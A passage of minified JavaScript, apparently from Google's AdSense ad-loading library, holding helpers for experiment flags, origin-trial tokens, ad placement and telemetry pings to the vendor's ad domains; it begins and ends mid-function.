Oc(a,b){if(!Pc()&&!Qc()){var c=Math.random();if(c<b)return c=Rc(),a[Math.floor(c*a.length)]}return null}function Rc(){if(!p.globalThis.crypto)return Math.random();try{var a=new Uint32Array(1);p.globalThis.crypto.getRandomValues(a);return a[0]/65536/65536}catch(b){return Math.random()}}function Sc(a,b){if(a)for(var c in a)Object.prototype.hasOwnProperty.call(a,c)&&b(a[c],c,a)} function Tc(a){var b=a.length;if(0==b)return 0;for(var c=305419896,d=0;d<b;d++)c^=(c<<5)+(c>>2)+a.charCodeAt(d)&4294967295;return 0<c?c:4294967296+c}var Qc=vc(function(){return Ua(["Google Web Preview","Mediapartners-Google","Google-Read-Aloud","Google-Adwords"],Uc)||1E-4>Math.random()});function Vc(a,b){var c=-1;try{a&&(c=parseInt(a.getItem(b),10))}catch(d){return null}return 0<=c&&1E3>c?c:null} function Wc(a,b){var c=Qc()?null:Math.floor(1E3*Rc());var d;if(d=null!=c&&a)a:{var e=String(c);try{if(a){a.setItem(b,e);d=e;break a}}catch(f){}d=null}return d?c:null}var Pc=vc(function(){return Uc("MSIE")});function Uc(a){return-1!=Ma().indexOf(a)}var Xc=/^([0-9.]+)px$/,Yc=/^(-?[0-9.]{1,30})$/;function Zc(a){var b=void 0===b?null:b;if(!Yc.test(a))return b;a=Number(a);return isNaN(a)?b:a}function K(a){return(a=Xc.exec(a))?+a[1]:null} function $c(a,b){for(var c=0;50>c;++c){try{var d=!(!a.frames||!a.frames[b])}catch(g){d=!1}if(d)return a;a:{try{var e=a.parent;if(e&&e!=a){var f=e;break a}}catch(g){}f=null}if(!(a=f))break}return null}var ad=vc(function(){return Cc()?2:Dc()?1:0});function bd(a){Sc({display:"none"},function(b,c){a.style.setProperty(c,b,"important")})}var cd=[];function dd(){var a=cd;cd=[];a=u(a);for(var b=a.next();!b.done;b=a.next()){b=b.value;try{b()}catch(c){}}} function ed(a,b){0!=a.length&&b.head&&a.forEach(function(c){if(c&&c&&b.head){var d=Mc("META");b.head.appendChild(d);d.httpEquiv="origin-trial";d.content=c}})}function fd(a){if("number"!==typeof a.goog_pvsid)try{Object.defineProperty(a,"goog_pvsid",{value:Math.floor(Math.random()*Math.pow(2,52)),configurable:!1})}catch(b){}return Number(a.goog_pvsid)||-1} function gd(a){var b=hd;"complete"===b.readyState||"interactive"===b.readyState?(cd.push(a),1==cd.length&&(p.Promise?p.Promise.resolve().then(dd):window.setImmediate?setImmediate(dd):setTimeout(dd,0))):b.addEventListener("DOMContentLoaded",a)}function Mc(a,b){b=void 0===b?document:b;return b.createElement(String(a).toLowerCase())};var id=null;var hd=document,L=window;var jd=null;function kd(a,b){b=void 0===b?[]:b;var c=!1;w.google_logging_queue||(c=!0,w.google_logging_queue=[]);w.google_logging_queue.push([a,b]);if(a=c){if(null==jd){jd=!1;try{var d=Ic(w);d&&-1!==d.location.hash.indexOf("google_logging")&&(jd=!0);w.localStorage.getItem("google_logging")&&(jd=!0)}catch(e){}}a=jd}a&&(d=w.document,a=new Ub(Vb,"https://pagead2.googlesyndication.com/pagead/js/logging_library.js"),a=hc(a instanceof Ub&&a.constructor===Ub&&a.h===Wb?a.i:"type_error:Const"),Lc(d,a))};function ld(a){a=void 0===a?w:a;var b=a.context||a.AMP_CONTEXT_DATA;if(!b)try{b=a.parent.context||a.parent.AMP_CONTEXT_DATA}catch(c){}try{if(b&&b.pageViewId&&b.canonicalUrl)return b}catch(c){}return null}function md(a){return(a=a||ld())?Hc(a.master)?a.master:null:null};function nd(a){var b=ta.apply(1,arguments);if(0===b.length)return oc(a[0]);for(var c=[a[0]],d=0;d<b.length;d++)c.push(encodeURIComponent(b[d])),c.push(a[d+1]);return oc(c.join(""))};function od(a){var b=void 0===b?1:b;a=md(ld(a))||a;a.google_unique_id=(a.google_unique_id||0)+b;return a.google_unique_id}function pd(a){a=a.google_unique_id;return"number"===typeof a?a:0}function qd(){var a=void 0===a?L:a;if(!a)return!1;try{return!(!a.navigator.standalone&&!a.top.navigator.standalone)}catch(b){return!1}}function rd(a){if(!a)return"";a=a.toLowerCase();"ca-"!=a.substring(0,3)&&(a="ca-"+a);return a};function sd(){this.i=new td(this);this.h=0}sd.prototype.resolve=function(a){ud(this);this.h=1;this.l=a;vd(this.i)};sd.prototype.reject=function(a){ud(this);this.h=2;this.j=a;vd(this.i)};function ud(a){if(0!=a.h)throw Error("Already resolved/rejected.");}function td(a){this.h=a}td.prototype.then=function(a,b){if(this.i)throw Error("Then functions already set.");this.i=a;this.j=b;vd(this)}; function vd(a){switch(a.h.h){case 0:break;case 1:a.i&&a.i(a.h.l);break;case 2:a.j&&a.j(a.h.j);break;default:throw Error("Unhandled deferred state.");}};function wd(a){this.h=a.slice(0)}n=wd.prototype;n.forEach=function(a){var b=this;this.h.forEach(function(c,d){return void a(c,d,b)})};n.filter=function(a){return new wd(Sa(this.h,a))};n.apply=function(a){return new wd(a(this.h.slice(0)))};n.sort=function(a){return new wd(this.h.slice(0).sort(a))};n.get=function(a){return this.h[a]};n.add=function(a){var b=this.h.slice(0);b.push(a);return new wd(b)};function xd(a,b){for(var c=[],d=a.length,e=0;e<d;e++)c.push(a[e]);c.forEach(b,void 0)};function yd(){this.h={};this.i={}}yd.prototype.set=function(a,b){var c=zd(a);this.h[c]=b;this.i[c]=a};yd.prototype.get=function(a,b){a=zd(a);return void 0!==this.h[a]?this.h[a]:b};yd.prototype.clear=function(){this.h={};this.i={}};function zd(a){return a instanceof Object?String(za(a)):a+""};function Ad(a,b){this.h=a;this.i=b}function Bd(a){return null!=a.h?a.h.value:null}function Cd(a,b){null!=a.h&&b(a.h.value);return a}Ad.prototype.map=function(a){return null!=this.h?(a=a(this.h.value),a instanceof Ad?a:Dd(a)):this};function Ed(a,b){null!=a.h||b(a.i);return a}function Dd(a){return new Ad({value:a},null)}function Fd(a){return new Ad(null,a)}function Gd(a){try{return Dd(a())}catch(b){return Fd(b)}};function Hd(a){this.h=new yd;if(a)for(var b=0;b<a.length;++b)this.add(a[b])}Hd.prototype.add=function(a){this.h.set(a,!0)};Hd.prototype.contains=function(a){return void 0!==this.h.h[zd(a)]};function Id(){this.h=new yd}Id.prototype.set=function(a,b){var c=this.h.get(a);c||(c=new Hd,this.h.set(a,c));c.add(b)};function Jd(a){J.call(this,a,-1,Kd)}v(Jd,J);Jd.prototype.getId=function(){return A(this,3)};var Kd=[4];function Ld(a){var b=void 0===a.Ga?void 0:a.Ga,c=void 0===a.gb?void 0:a.gb,d=void 0===a.Ra?void 0:a.Ra;this.h=void 0===a.bb?void 0:a.bb;this.l=new wd(b||[]);this.j=d;this.i=c};function Md(a){var b=[],c=a.l;c&&c.h.length&&b.push({X:"a",ca:Nd(c)});null!=a.h&&b.push({X:"as",ca:a.h});null!=a.i&&b.push({X:"i",ca:String(a.i)});null!=a.j&&b.push({X:"rp",ca:String(a.j)});b.sort(function(d,e){return d.X.localeCompare(e.X)});b.unshift({X:"t",ca:"aa"});return b}function Nd(a){a=a.h.slice(0).map(Od);a=JSON.stringify(a);return Tc(a)}function Od(a){var b={};null!=A(a,7)&&(b.q=A(a,7));null!=A(a,2)&&(b.o=A(a,2));null!=A(a,5)&&(b.p=A(a,5));return b};function Pd(a){J.call(this,a)}v(Pd,J);Pd.prototype.setLocation=function(a){return B(this,1,a)};function Qd(a,b){this.Ja=a;this.Qa=b}function Rd(a){var b=[].slice.call(arguments).filter(uc(function(e){return null===e}));if(!b.length)return null;var c=[],d={};b.forEach(function(e){c=c.concat(e.Ja||[]);d=r(Object,"assign").call(Object,d,e.Qa)});return new Qd(c,d)} function Sd(a){switch(a){case 1:return new Qd(null,{google_ad_semantic_area:"mc"});case 2:return new Qd(null,{google_ad_semantic_area:"h"});case 3:return new Qd(null,{google_ad_semantic_area:"f"});case 4:return new Qd(null,{google_ad_semantic_area:"s"});default:return null}} function Td(a){if(null==a)a=null;else{var b=Md(a);a=[];b=u(b);for(var c=b.next();!c.done;c=b.next()){c=c.value;var d=String(c.ca);a.push(c.X+"."+(20>=d.length?d:d.slice(0,19)+"_"))}a=new Qd(null,{google_placement_id:a.join("~")})}return a};var Ud={},Vd=new Qd(["google-auto-placed"],(Ud.google_reactive_ad_format=40,Ud.google_tag_origin="qs",Ud));function Wd(a){J.call(this,a)}v(Wd,J);function Xd(a){J.call(this,a)}v(Xd,J);Xd.prototype.getName=function(){return A(this,4)};function Yd(a){J.call(this,a)}v(Yd,J);function Zd(a){J.call(this,a)}v(Zd,J);function $d(a){J.call(this,a)}v($d,J);var ae=[1,2,3];function be(a){J.call(this,a)}v(be,J);function ce(a){J.call(this,a,-1,de)}v(ce,J);var de=[6,7,9,10,11];function ee(a){J.call(this,a,-1,fe)}v(ee,J);function ge(a){J.call(this,a)}v(ge,J);function he(a){J.call(this,a)}v(he,J);var fe=[1],ie=[1,2];function je(a){J.call(this,a,-1,ke)}v(je,J);function le(a){J.call(this,a)}v(le,J);function me(a){J.call(this,a,-1,ne)}v(me,J);function oe(a){J.call(this,a)}v(oe,J);function pe(a){J.call(this,a)}v(pe,J);function qe(a){J.call(this,a)}v(qe,J);function re(a){J.call(this,a)}v(re,J);var ke=[1,2,5,7],ne=[2,5,6,11];function se(a){J.call(this,a)}v(se,J);function te(a){if(1!=a.nodeType)var b=!1;else if(b="INS"==a.tagName)a:{b=["adsbygoogle-placeholder"];a=a.className?a.className.split(/\s+/):[];for(var c={},d=0;d<a.length;++d)c[a[d]]=!0;for(d=0;d<b.length;++d)if(!c[b[d]]){b=!1;break a}b=!0}return b};function ue(a,b,c){switch(c){case 0:b.parentNode&&b.parentNode.insertBefore(a,b);break;case 3:if(c=b.parentNode){var d=b.nextSibling;if(d&&d.parentNode!=c)for(;d&&8==d.nodeType;)d=d.nextSibling;c.insertBefore(a,d)}break;case 1:b.insertBefore(a,b.firstChild);break;case 2:b.appendChild(a)}te(b)&&(b.setAttribute("data-init-display",b.style.display),b.style.display="block")};function M(a,b){this.h=a;this.defaultValue=void 0===b?!1:b}function N(a,b){this.h=a;this.defaultValue=void 0===b?0:b}function ve(a,b){b=void 0===b?[]:b;this.h=a;this.defaultValue=b};var we=new M(1084),xe=new M(1082,!0),ye=new N(62,.001),ze=new N(1130,100),Ae=new function(a,b){this.h=a;this.defaultValue=void 0===b?"":b}(14),Be=new N(1114,1),Ce=new N(1110),De=new N(1111),Ee=new N(1112),Fe=new N(1113),Ge=new N(1104),He=new N(1108),Ie=new N(1106),Je=new N(1107),Ke=new N(1105),Le=new N(1115,1),Me=new M(1121),Ne=new M(1144),Oe=new M(1143),Pe=new M(316),Qe=new M(313),Re=new M(369),Se=new M(1093),Te=new N(1098),Ue=new M(1129),Ve=new M(1128),We=new M(1026),Xe=new M(1090),Ye=new M(1053, !0),Ze=new M(1162),$e=new M(1120),af=new M(1100,!0),bf=new N(1046),cf=new M(1102,!0),df=new M(218),ef=new M(217),ff=new M(227),gf=new M(208),hf=new M(282),jf=new M(1086),kf=new N(1079,5),lf=new M(1141),mf=new ve(1939),nf=new ve(1934,["A8FHS1NmdCwGqD9DwOicnHHY+y27kdWfxKa0YHSGDfv0CSpDKRHTQdQmZVPDUdaFWUsxdgVxlwAd6o+dhJykPA0AAACWeyJvcmlnaW4iOiJodHRwczovL2RvdWJsZWNsaWNrLm5ldDo0NDMiLCJmZWF0dXJlIjoiQ29udmVyc2lvbk1lYXN1cmVtZW50IiwiZXhwaXJ5IjoxNjQzMTU1MTk5LCJpc1N1YmRvbWFpbiI6dHJ1ZSwiaXNUaGlyZFBhcnR5Ijp0cnVlLCJ1c2FnZSI6InN1YnNldCJ9", "A8zdXi6dr1hwXEUjQrYiyYQGlU3557y5QWDnN0Lwgj9ePt66XMEvNkVWOEOWPd7TP9sBQ25X0Q15Lr1Nn4oGFQkAAACceyJvcmlnaW4iOiJodHRwczovL2dvb2dsZXN5bmRpY2F0aW9uLmNvbTo0NDMiLCJmZWF0dXJlIjoiQ29udmVyc2lvbk1lYXN1cmVtZW50IiwiZXhwaXJ5IjoxNjQzMTU1MTk5LCJpc1N1YmRvbWFpbiI6dHJ1ZSwiaXNUaGlyZFBhcnR5Ijp0cnVlLCJ1c2FnZSI6InN1YnNldCJ9","A4/Htern2udN9w3yJK9QgWQxQFruxOXsXL7cW60DyCl0EZFGCSme/J33Q/WzF7bBkVvhEWDlcBiUyZaim5CpFQwAAACceyJvcmlnaW4iOiJodHRwczovL2dvb2dsZXRhZ3NlcnZpY2VzLmNvbTo0NDMiLCJmZWF0dXJlIjoiQ29udmVyc2lvbk1lYXN1cmVtZW50IiwiZXhwaXJ5IjoxNjQzMTU1MTk5LCJpc1N1YmRvbWFpbiI6dHJ1ZSwiaXNUaGlyZFBhcnR5Ijp0cnVlLCJ1c2FnZSI6InN1YnNldCJ9"]), of=new M(203),pf=new M(434462125),qf=new M(84),rf=new M(1928),sf=new M(1941),tf=new M(370946349),uf=new M(392736476,!0),vf=new N(406149835),wf=new ve(1932,["AxujKG9INjsZ8/gUq8+dTruNvk7RjZQ1oFhhgQbcTJKDnZfbzSTE81wvC2Hzaf3TW4avA76LTZEMdiedF1vIbA4AAABueyJvcmlnaW4iOiJodHRwczovL2ltYXNkay5nb29nbGVhcGlzLmNvbTo0NDMiLCJmZWF0dXJlIjoiVHJ1c3RUb2tlbnMiLCJleHBpcnkiOjE2NTI3NzQ0MDAsImlzVGhpcmRQYXJ0eSI6dHJ1ZX0=","Azuce85ORtSnWe1MZDTv68qpaW3iHyfL9YbLRy0cwcCZwVnePnOmkUJlG8HGikmOwhZU22dElCcfrfX2HhrBPAkAAAB7eyJvcmlnaW4iOiJodHRwczovL2RvdWJsZWNsaWNrLm5ldDo0NDMiLCJmZWF0dXJlIjoiVHJ1c3RUb2tlbnMiLCJleHBpcnkiOjE2NTI3NzQ0MDAsImlzU3ViZG9tYWluIjp0cnVlLCJpc1RoaXJkUGFydHkiOnRydWV9", "A16nvcdeoOAqrJcmjLRpl1I6f3McDD8EfofAYTt/P/H4/AWwB99nxiPp6kA0fXoiZav908Z8etuL16laFPUdfQsAAACBeyJvcmlnaW4iOiJodHRwczovL2dvb2dsZXRhZ3NlcnZpY2VzLmNvbTo0NDMiLCJmZWF0dXJlIjoiVHJ1c3RUb2tlbnMiLCJleHBpcnkiOjE2NTI3NzQ0MDAsImlzU3ViZG9tYWluIjp0cnVlLCJpc1RoaXJkUGFydHkiOnRydWV9","AxBHdr0J44vFBQtZUqX9sjiqf5yWZ/OcHRcRMN3H9TH+t90V/j3ENW6C8+igBZFXMJ7G3Pr8Dd13632aLng42wgAAACBeyJvcmlnaW4iOiJodHRwczovL2dvb2dsZXN5bmRpY2F0aW9uLmNvbTo0NDMiLCJmZWF0dXJlIjoiVHJ1c3RUb2tlbnMiLCJleHBpcnkiOjE2NTI3NzQ0MDAsImlzU3ViZG9tYWluIjp0cnVlLCJpc1RoaXJkUGFydHkiOnRydWV9", "A88BWHFjcawUfKU3lIejLoryXoyjooBXLgWmGh+hNcqMK44cugvsI5YZbNarYvi3roc1fYbHA1AVbhAtuHZflgEAAAB2eyJvcmlnaW4iOiJodHRwczovL2dvb2dsZS5jb206NDQzIiwiZmVhdHVyZSI6IlRydXN0VG9rZW5zIiwiZXhwaXJ5IjoxNjUyNzc0NDAwLCJpc1N1YmRvbWFpbiI6dHJ1ZSwiaXNUaGlyZFBhcnR5Ijp0cnVlfQ=="]),xf=new N(1935);function O(a){var b="sa";if(a.sa&&a.hasOwnProperty(b))return a.sa;b=new a;return a.sa=b};function yf(){var a={};this.i=function(b,c){return null!=a[b]?a[b]:c};this.j=function(b,c){return null!=a[b]?a[b]:c};this.l=function(b,c){return null!=a[b]?a[b]:c};this.h=function(b,c){return null!=a[b]?a[b]:c};this.m=function(){}}function P(a){return O(yf).i(a.h,a.defaultValue)}function Q(a){return O(yf).j(a.h,a.defaultValue)}function zf(){return O(yf).l(Ae.h,Ae.defaultValue)};function Af(a,b,c){function d(f){f=Bf(f);return null==f?!1:c>f}function e(f){f=Bf(f);return null==f?!1:c<f}switch(b){case 0:return{init:Cf(a.previousSibling,e),ja:function(f){return Cf(f.previousSibling,e)},na:0};case 2:return{init:Cf(a.lastChild,e),ja:function(f){return Cf(f.previousSibling,e)},na:0};case 3:return{init:Cf(a.nextSibling,d),ja:function(f){return Cf(f.nextSibling,d)},na:3};case 1:return{init:Cf(a.firstChild,d),ja:function(f){return Cf(f.nextSibling,d)},na:3}}throw Error("Un-handled RelativePosition: "+ b);}function Bf(a){return a.hasOwnProperty("google-ama-order-assurance")?a["google-ama-order-assurance"]:null}function Cf(a,b){return a&&b(a)?a:null};var Df={rectangle:1,horizontal:2,vertical:4};function Ef(a,b){a.google_image_requests||(a.google_image_requests=[]);var c=Mc("IMG",a.document);c.src=b;a.google_image_requests.push(c)}function Ff(a){var b="https://pagead2.googlesyndication.com/pagead/gen_204?id=dtt_err";Sc(a,function(c,d){c&&(b+="&"+d+"="+encodeURIComponent(c))});Gf(b)}function Gf(a){var b=window;b.fetch?b.fetch(a,{keepalive:!0,credentials:"include",redirect:"follow",method:"get",mode:"no-cors"}):Ef(b,a)};function Hf(){this.j="&";this.i={};this.l=0;this.h=[]}function If(a,b){var c={};c[a]=b;return[c]}function Jf(a,b,c,d,e){var f=[];Sc(a,function(g,h){(g=Kf(g,b,c,d,e))&&f.push(h+"="+g)});return f.join(b)} function Kf(a,b,c,d,e){if(null==a)return"";b=b||"&";c=c||",$";"string"==typeof c&&(c=c.split(""));if(a instanceof Array){if(d=d||0,d<c.length){for(var f=[],g=0;g<a.length;g++)f.push(Kf(a[g],b,c,d+1,e));return f.join(c[d])}}else if("object"==typeof a)return e=e||0,2>e?encodeURIComponent(Jf(a,b,c,d,e+1)):"...";return encodeURIComponent(String(a))} function Lf(a,b){var c="https://pagead2.googlesyndication.com"+b,d=Mf(a)-b.length;if(0>d)return"";a.h.sort(function(m,q){return m-q});b=null;for(var e="",f=0;f<a.h.length;f++)for(var g=a.h[f],h=a.i[g],k=0;k<h.length;k++){if(!d){b=null==b?g:b;break}var l=Jf(h[k],a.j,",$");if(l){l=e+l;if(d>=l.length){d-=l.length;c+=l;e=a.j;break}b=null==b?g:b}}a="";null!=b&&(a=e+"trn="+b);return c+a}function Mf(a){var b=1,c;for(c in a.i)b=c.length>b?c.length:b;return 3997-b-a.j.length-1};function Nf(){this.h=Math.random()}function Of(){var a=Pf,b=w.google_srt;0<=b&&1>=b&&(a.h=b)}function Qf(a,b,c,d,e){if((d?a.h:Math.random())<(e||.01))try{if(c instanceof Hf)var f=c;else f=new Hf,Sc(c,function(h,k){var l=f,m=l.l++;h=If(k,h);l.h.push(m);l.i[m]=h});var g=Lf(f,"/pagead/gen_204?id="+b+"&");g&&Ef(w,g)}catch(h){}};var Rf={overlays:1,interstitials:2,vignettes:2,inserts:3,immersives:4,list_view:5};function Sf(){this.wasPlaTagProcessed=!1;this.wasReactiveAdConfigReceived={};this.adCount={};this.wasReactiveAdVisible={};this.stateForType={};this.reactiveTypeEnabledInAsfe={};this.wasReactiveTagRequestSent=!1;this.reactiveTypeDisabledByPublisher={};this.tagSpecificState={};this.messageValidationEnabled=!1;this.floatingAdsStacking=new Tf;this.sideRailProcessedFixedElements=new p.Set;this.sideRailAvailableSpace=new p.Map} function Uf(a){a.google_reactive_ads_global_state?(null==a.google_reactive_ads_global_state.sideRailProcessedFixedElements&&(a.google_reactive_ads_global_state.sideRailProcessedFixedElements=new p.Set),null==a.google_reactive_ads_global_state.sideRailAvailableSpace&&(a.google_reactive_ads_global_state.sideRailAvailableSpace=new p.Map)):a.google_reactive_ads_global_state=new Sf;return a.google_reactive_ads_global_state} function Tf(){this.maxZIndexRestrictions={};this.nextRestrictionId=0;this.maxZIndexListeners=[]};function Vf(a){a=a.document;var b={};a&&(b="CSS1Compat"==a.compatMode?a.documentElement:a.body);return b||{}}function Wf(a){return Vf(a).clientWidth};function Xf(a){return null!==a&&void 0!==a}function Yf(a,b){if(!b(a))throw Error(String(a));};function Zf(a){return"string"===typeof a}function $f(a){return void 0===a};function ag(a){J.call(this,a,-1,bg)}v(ag,J);var bg=[2,8],cg=[3,4,5],dg=[6,7];var eg;eg={Kb:0,Ya:3,Za:4,$a:5};var fg=eg.Ya,gg=eg.Za,hg=eg.$a;function ig(a){return null!=a?!a:a}function jg(a,b){for(var c=!1,d=0;d<a.length;d++){var e=a[d]();if(e===b)return e;null==e&&(c=!0)}if(!c)return!b}function kg(a,b){var c=H(a,ag,2);if(!c.length)return lg(a,b);a=C(a,1,0);if(1===a)return ig(kg(c[0],b));c=Ta(c,function(d){return function(){return kg(d,b)}});switch(a){case 2:return jg(c,!1);case 3:return jg(c,!0)}} function lg(a,b){var c=Cb(a,cg);a:{switch(c){case fg:var d=Hb(a,3,cg);break a;case gg:d=Hb(a,4,cg);break a;case hg:d=Hb(a,5,cg);break a}d=void 0}if(d&&(b=(b=b[c])&&b[d])){try{var e=b.apply(null,ka(wb(a,8)))}catch(f){return}b=C(a,1,0);if(4===b)return!!e;d=null!=e;if(5===b)return d;if(12===b)a=I(a,Db(a,dg,7));else a:{switch(c){case gg:a=yb(a,Db(a,dg,6));break a;case hg:a=I(a,Db(a,dg,7));break a}a=void 0}if(null!=a){if(6===b)return e===a;if(9===b)return null!=e&&0===Ka(String(e),a);if(d)switch(b){case 7:return e< a;case 8:return e>a;case 12:return Zf(a)&&Zf(e)&&(new RegExp(a)).test(e);case 10:return null!=e&&-1===Ka(String(e),a);case 11:return null!=e&&1===Ka(String(e),a)}}}}function mg(a,b){return!a||!(!b||!kg(a,b))};function ng(a){J.call(this,a,-1,og)}v(ng,J);var og=[4];function pg(a){J.call(this,a)}v(pg,J);function qg(a){J.call(this,a,-1,rg)}v(qg,J);var rg=[5],sg=[1,2,3,6,7];function tg(a){a.Sa.apply(a,ka(ta.apply(1,arguments).map(function(b){return{Xa:4,message:b}})))}function ug(a){a.Sa.apply(a,ka(ta.apply(1,arguments).map(function(b){return{Xa:7,message:b}})))};function vg(a){return function(){var b=ta.apply(0,arguments);try{return a.apply(this,b)}catch(c){}}}var wg=vg(function(a){var b=[],c={};a=u(a);for(var d=a.next();!d.done;c={ea:c.ea},d=a.next())c.ea=d.value,vg(function(e){return function(){b.push('[{"'+e.ea.Xa+'":'+Lb(e.ea.message)+"}]")}}(c))();return"[["+b.join(",")+"]]"});function xg(a,b){if(p.globalThis.fetch)p.globalThis.fetch(a,{method:"POST",body:b,keepalive:65536>b.length,credentials:"omit",mode:"no-cors",redirect:"follow"});else{var c=new XMLHttpRequest;c.open("POST",a,!0);c.send(b)}};function yg(a){var b=void 0===b?xg:b;this.l=void 0===a?1E3:a;this.j=b;this.i=[];this.h=null}yg.prototype.Sa=function(){var a=ta.apply(0,arguments),b=this;vg(function(){b.i.push.apply(b.i,ka(a));var c=vg(function(){var d=wg(b.i);b.j("https://pagead2.googlesyndication.com/pagead/ping?e=1",d);b.i=[];b.h=null});100<=b.i.length?(null!==b.h&&clearTimeout(b.h),b.h=setTimeout(c,0)):null===b.h&&(b.h=setTimeout(c,b.l))})()};function zg(a){J.call(this,a,-1,Ag)}v(zg,J);function Bg(a,b){return Eb(a,1,b)}function Cg(a,b){return Gb(a,2,b)}function Dg(a,b){return zb(a,4,b)}function Eg(a,b){return Gb(a,5,b)}function Fg(a,b){return Ab(a,6,b)}function Gg(a){J.call(this,a)}v(Gg,J);Gg.prototype.V=function(){return C(this,1,0)};function Hg(a,b){return Ab(a,1,b)}function Ig(a,b){return Ab(a,2,b)}function Jg(a){J.call(this,a)}v(Jg,J);var Ag=[2,4,5],Kg=[1,2];function Lg(a){J.call(this,a,-1,Mg)}v(Lg,J);function Ng(a){J.call(this,a,-1,Og)}v(Ng,J);var Mg=[2,3],Og=[5],Pg=[1,2,3,4];function Qg(a){J.call(this,a)}v(Qg,J);Qg.prototype.getTagSessionCorrelator=function(){return C(this,2,0)};function Rg(a){var b=new Qg;return Fb(b,4,Sg,a)}var Sg=[4,5,7];function Tg(a,b,c){var d=void 0===d?new yg(b):d;this.i=a;this.m=c;this.j=d;this.h=[];this.l=0<this.i&&Rc()<1/this.i}function Yg(a,b,c,d,e,f){var g=Ig(Hg(new Gg,b),c);b=Fg(Cg(Bg(Eg(Dg(new zg,d),e),g),a.h),f);b=Rg(b);a.l&&tg(a.j,Zg(a,b));if(1===f||3===f||4===f&&!a.h.some(function(h){return h.V()===g.V()&&C(h,2,0)===c}))a.h.push(g),100<a.h.length&&a.h.shift()}function $g(a,b,c,d){if(a.m){var e=new Lg;b=Gb(e,2,b);c=Gb(b,3,c);d&&Ab(c,1,d);d=new Qg;d=Fb(d,7,Sg,c);a.l&&tg(a.j,Zg(a,d))}} function Zg(a,b){b=Ab(b,1,Date.now());var c=fd(window);b=Ab(b,2,c);return Ab(b,6,a.i)};function ah(){var a={};this.h=(a[fg]={},a[gg]={},a[hg]={},a)};var bh=/^true$/.test("false");function ch(a,b){switch(b){case 1:return Hb(a,1,sg);case 2:return Hb(a,2,sg);case 3:return Hb(a,3,sg);case 6:return Hb(a,6,sg);default:return null}}function dh(a,b){if(!a)return null;switch(b){case 1:return D(a,1);case 7:return I(a,3);case 2:return yb(a,2);case 3:return I(a,3);case 6:return wb(a,4);default:return null}}var eh=vc(function(){if(!bh)return{};try{var a=window.sessionStorage&&window.sessionStorage.getItem("GGDFSSK");if(a)return JSON.parse(a)}catch(b){}return{}}); function fh(a,b,c,d){var e=d=void 0===d?0:d,f,g;O(gh).j[e]=null!=(g=null==(f=O(gh).j[e])?void 0:f.add(b))?g:(new p.Set).add(b);e=eh();if(null!=e[b])return e[b];b=hh(d)[b];if(!b)return c;b=new qg(b);b=ih(b);a=dh(b,a);return null!=a?a:c}function ih(a){var b=O(ah).h;if(b){var c=Wa(H(a,pg,5),function(d){return mg(G(d,ag,1),b)});if(c)return G(c,ng,2)}return G(a,ng,4)}function gh(){this.i={};this.l=[];this.j={};this.h=new p.Map}function jh(a,b,c){return!!fh(1,a,void 0===b?!1:b,c)} function kh(a,b,c){b=void 0===b?0:b;a=Number(fh(2,a,b,c));return isNaN(a)?b:a}function lh(a,b,c){return fh(3,a,void 0===b?"":b,c)}function mh(a,b,c){b=void 0===b?[]:b;return fh(6,a,b,c)}function hh(a){return O(gh).i[a]||(O(gh).i[a]={})}function nh(a,b){var c=hh(b);Sc(a,function(d,e){return c[e]=d})} function oh(a,b,c,d,e){e=void 0===e?!1:e;var f=[],g=[];Ra(b,function(h){var k=hh(h);Ra(a,function(l){var m=Cb(l,sg),q=ch(l,m);if(q){var t,y,F;var z=null!=(F=null==(t=O(gh).h.get(h))?void 0:null==(y=t.get(q))?void 0:y.slice(0))?F:[];a:{t=new Ng;switch(m){case 1:Bb(t,1,Pg,q);break;case 2:Bb(t,2,Pg,q);break;case 3:Bb(t,3,Pg,q);break;case 6:Bb(t,4,Pg,q);break;default:m=void 0;break a}zb(t,5,z);m=t}if(z=m){var E;z=!(null==(E=O(gh).j[h])||!E.has(q))}z&&f.push(m);if(E=m){var S;E=!(null==(S=O(gh).h.get(h))|| !S.has(q))}E&&g.push(m);e||(S=O(gh),S.h.has(h)||S.h.set(h,new p.Map),S.h.get(h).has(q)||S.h.get(h).set(q,[]),d&&S.h.get(h).get(q).push(d));k[q]=l.toJSON()}})});(f.length||g.length)&&$g(c,f,g,null!=d?d:void 0)}function ph(a,b){var c=hh(b);Ra(a,function(d){var e=new qg(d),f=Cb(e,sg);(e=ch(e,f))&&(c[e]||(c[e]=d))})}function qh(){return Ta(r(Object,"keys").call(Object,O(gh).i),function(a){return Number(a)})}function rh(a){Xa(O(gh).l,a)||nh(hh(4),a)};function sh(a){this.methodName=a}var th=new sh(1),uh=new sh(16),vh=new sh(15),wh=new sh(2),xh=new sh(3),yh=new sh(4),zh=new sh(5),Ah=new sh(6),Bh=new sh(7),Ch=new sh(8),Dh=new sh(9),Eh=new sh(10),Fh=new sh(11),Gh=new sh(12),Hh=new sh(13),Ih=new sh(14);function Jh(a,b,c){c.hasOwnProperty(a.methodName)||Object.defineProperty(c,String(a.methodName),{value:b})}function Kh(a,b,c){return b[a.methodName]||c||function(){}} function Lh(a){Jh(zh,jh,a);Jh(Ah,kh,a);Jh(Bh,lh,a);Jh(Ch,mh,a);Jh(Hh,ph,a);Jh(vh,rh,a)}function Mh(a){Jh(yh,function(b){O(ah).h=b},a);Jh(Dh,function(b,c){var d=O(ah);d.h[fg][b]||(d.h[fg][b]=c)},a);Jh(Eh,function(b,c){var d=O(ah);d.h[gg][b]||(d.h[gg][b]=c)},a);Jh(Fh,function(b,c){var d=O(ah);d.h[hg][b]||(d.h[hg][b]=c)},a);Jh(Ih,function(b){for(var c=O(ah),d=u([fg,gg,hg]),e=d.next();!e.done;e=d.next())e=e.value,r(Object,"assign").call(Object,c.h[e],b[e])},a)} function Nh(a){a.hasOwnProperty("init-done")||Object.defineProperty(a,"init-done",{value:!0})};function Oh(){this.l=function(){};this.i=function(){};this.j=function(){};this.h=function(){return[]}}function Ph(a,b,c){a.l=Kh(th,b,function(){});a.j=function(d){Kh(wh,b,function(){return[]})(d,c)};a.h=function(){return Kh(xh,b,function(){return[]})(c)};a.i=function(d){Kh(uh,b,function(){})(d,c)}};function Qh(a,b){var c=void 0===c?{}:c;this.error=a;this.context=b.context;this.msg=b.message||"";this.id=b.id||"jserror";this.meta=c}function Rh(a){return!!(a.error&&a.meta&&a.id)};var Sh=RegExp("^https?://(\\w|-)+\\.cdn\\.ampproject\\.(net|org)(\\?|/|$)");function Th(a,b){this.h=a;this.i=b}function Uh(a,b,c){this.url=a;this.u=b;this.La=!!c;this.depth=null};var Vh=null;function Wh(){if(null===Vh){Vh="";try{var a="";try{a=w.top.location.hash}catch(c){a=w.location.hash}if(a){var 